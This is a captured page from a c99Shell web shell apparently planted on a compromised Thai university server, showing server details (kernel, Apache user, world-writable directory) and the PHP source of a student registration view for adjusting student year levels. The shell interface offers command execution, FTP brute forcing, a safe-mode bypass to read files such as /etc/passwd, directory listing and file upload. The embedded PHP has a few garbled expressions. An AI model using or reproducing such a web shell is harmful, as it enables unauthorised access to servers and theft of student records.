!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_adjustPassSt.php (8.72 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script>
function checkFormat(stY, acY) {
    if(confirm("คุณต้องการปรับปรุงชั้นปี จากชั้นปี "+stY+" (ปีการศึกษา "+acY+") เป็นชั้นปี "+eval(stY-1)+" !!\n\nเมื่อกดปุ่ม OK แล้ว จะทำการลบข้อมูลการลงทะเบียนทันที โดยที่จะไม่สามารถเปลี่ยนแปลงได้อีก\nถ้ายืนยัน ให้กดปุ่ม OK"))
        return true;
    else
        return false;
}
</script>
<table width="100%" border="0" cellspacing="1" cellpadding="1" align="center">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."student/adjustPassSt", array("name" => "myform""id" => "myform"));?>
            <!-- <form name="pc" method="post" action="processAdjustPassSt.php"> -->
            <table width="100%" border="0" cellspacing="1" cellpadding="1" align="center">
                <tr>
                    <td colspan="4" align="center"><font size="3" color="<?php echo $font_color_err?>" class="h" ><b>ปรับปรุงชั้นปี</b></font></td>
                </tr>
                <tr>
                    <td height="22" colspan="4"></td>
                </tr>
                <tr>
                    <td colspan="4"><font size="2"><b>รหัสนักศึกษา</b></font>
                    <input type="text" name="stdCode" id="stdCode" size="10" maxlength="10" value="<?php echo set_value('stdCode');?>" class="required-int" />
                    <input type="submit" name="search" value="ค้นหา" />
                    <br /><span class="error" style="display:inline;"></span><?php echo form_error('stdCode');?></td>
                </tr>
                <tr>
                    <td height="22" colspan="4"></td>
                </tr>
<?php
                
if(isset($qu_std)) {
                    
$std $qu_std->row();
                    
$ssm $qu_ssm->row();
?>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td width="15%" height="22"><font size="2"><b>รหัสนักศึกษา</b></font></td>
                    <td width="35%"><font size="2" >: <?php echo $std->stdCode;?></font>
                    <input type="hidden" name="stdId" id="stdId" value="<?php echo $std->stdId;?>" /></td>
                    <td width="15%"><font size="2" ><b>ชื่อ-นามสกุล</b></font></td>
                    <td width="35%"><font size="2" >: <?php echo $std->pfName.$std->stdName.' '.$std->stdSurname;?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td height="22"><font size="2" ><b>หลักสูตร</b></font></td>
                    <td colspan="3"><font size="2" >: <?php echo $std->curName;?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td height="22"><font size="2" ><b>ชั้นปีปัจจุบัน</b></font></td>
                    <td><font size="2" >: <?php echo $std->syCode;?></font>
                    <input type="hidden" name="stdSyId" id="stdSyId" value="<?php echo $std->stdSyId;?>" /></td>
                    <td><font size="2" ><b>ระดับการศึกษา</b></font></td>
                    <td><font size="2" >: <?php echo $std->elvName;?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td height="22"><font size="2" ><b>ปีการศึกษา</b></font></td>
                    <td><font size="2" color="<?php echo $this->config->item("rg_font_color_err");?>">: <b><?php echo $acY;?></b></font>
                    <input type="hidden" name="acY" id="acY" value="<?php echo $acY;?>"></td>
                    <td><font size="2" ><b>ภาคการศึกษา</b></font></td>
                    <td><font size="2" color="<?php echo $this->config->item("rg_font_color_err");?>">: <b><?php echo $tm;?></b></font>
                    <input type="hidden" name="tm" id="tm" value="<?php echo $tm;?>"></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td height="22"><font size="2" ><b>GPA</b></font></td>
                    <td><font size="2" >: <?php echo number_format($ssm->ssmGPAX,2);?></font></td>
                    <td><font size="2" ><b>คะแนนความประพฤติ</b></font></td>
                    <td><font size="2" >: <?php echo $std->stdTotalPoint;?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td height="22"><font size="2" ><b>ระยะเวลาที่ศึกษา</b></font></td>
                    <td><font size="2" >: <?php echo $acY $std->stdAdY+1;?></font></td>
                    <td><font size="2" ><b>สถานะนักศึกษา</b></font></td>
                    <td><font size="2" >: <?php echo $std->sstName;?></font>
                    <input type="hidden" name="stdSstId" id="stdSstId" value="<?php echo $std->stdSstId;?>" /></td>
                </tr>
                <tr>
                    <td colspan="4"><table width="100%">
                        <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
                            <td height="22" width="15%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>ภาค/ปีการศึกษา</b></font></td>
                            <td width="10%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>ชั้นปี</b></font></td>
                            <td width="15%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>ลงทะเบียน</b></font></td>
                            <td width="15%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>ค้างชำระ</b></font></td>
                            <td width="10%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>GPAX</b></font></td>
                            <td width="20%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>คะแนนความประพฤติ</b></font></td>
                            <td width="15%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>สถานะกลุ่ม</b></font></td>
                        </tr>
<?php
//                        for($acadYear=$oSm->admitAcadYear; $acadYear<=$GLOBALS["ACADYEAR_R"]; $acadYear++) {
//                            $semester = $oSs->GetMaxSemesterByStIdAndAcY($oSm->studentId, $acadYear);
//                            
//                            $oEr->RSEnrollByStIdAndAcYAndSe($oSm->studentId, $acadYear, $semester);
//                            $oEr->GetRecord();
//                            $oEf->RSEnrollFeeByStIdAndAcYAndSe($oSm->studentId, $acadYear, $semester);
//                            $oEf->GetRecord();
//                            $oSs->SearchByKey($oSm->studentId, $acadYear, $semester);
//                            $oSs->GetRecord();
?>
                        <tr>
                            <td height="22" align="center"><font size="2" ><?php //echo $semester.'/'.$acadYear;?></font></td>
                            <td align="center"><font size="2" ><?php //echo $oEr->studentYear;?></font></td>
                            <td align="center"><font size="2" ><?php //echo $oEr->studentId ? 'Y' : 'N';?></font></td>
                            <td align="center"><font size="2" ><?php //echo number_format($oEf->balance, 2);?></font></td>
                            <td align="center"><font size="2" ><?php //echo number_format($oSs->GPAX, 2);?></font></td>
                            <td align="center"><font size="2" ><?php //echo 100 - $oSb->GetSumCutPointByStIdAndAcY($oSm->studentId, $acadYear);?></font></td>
                            <td align="center"><font size="2" ><?php //echo $oSs->passStatus;?></font></td>
                        </tr>
<?php
//                        }
?>
                    </table></td>
                </tr>
                <tr>
                    <td height="22" colspan="4"></td>
                </tr>
                <tr>
                    <td height="22" colspan="4" align="center"><input type="submit" name="confirm" value="ยืนยัน" onClick="return checkFormat(<?php //echo $oSm->studentYear;?><?php //echo $acadYear - 1;?>)">
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                    <input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href='adminIndex.php?mm=1'">
                    <input type="hidden" name="method" value="edit"></td>
                </tr>
<?php
//                    }
//                    else {
?>
                <tr>
                    <td colspan="4" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรหัสนักศึกษาดังกล่าวในฐานข้อมูล **</font></td>
                </tr>
<?php
                    
//}    // end if($oSm->GetRecord())
                //}    // end if($studentCode)
                
}
?>
            </table><?php echo form_close();?></div>
        </td>
    </tr>
    <tr>
        <td><table width="100%">
            <tr>
                <td width="10%"><font size="2" color="<?php echo $font_color_err;?>"><b>หมายเหตุ : </b></font></td>
                <td><font size="2" color="<?php echo $font_color_err;?>">ก่อนเลื่อนชั้นปี ควรส่งเกรด ประมวลผลเกรด และยืนยันการประมวลผลเกรดให้เรียบร้อย</font></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><font size="2" color="<?php echo $font_color_err;?>">เมื่อกดปุ่มยืนยันแล้ว จะทำการเลื่อนชั้นทันที โดยที่จะไม่สามารถเปลี่ยนแปลงได้อีก</font></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--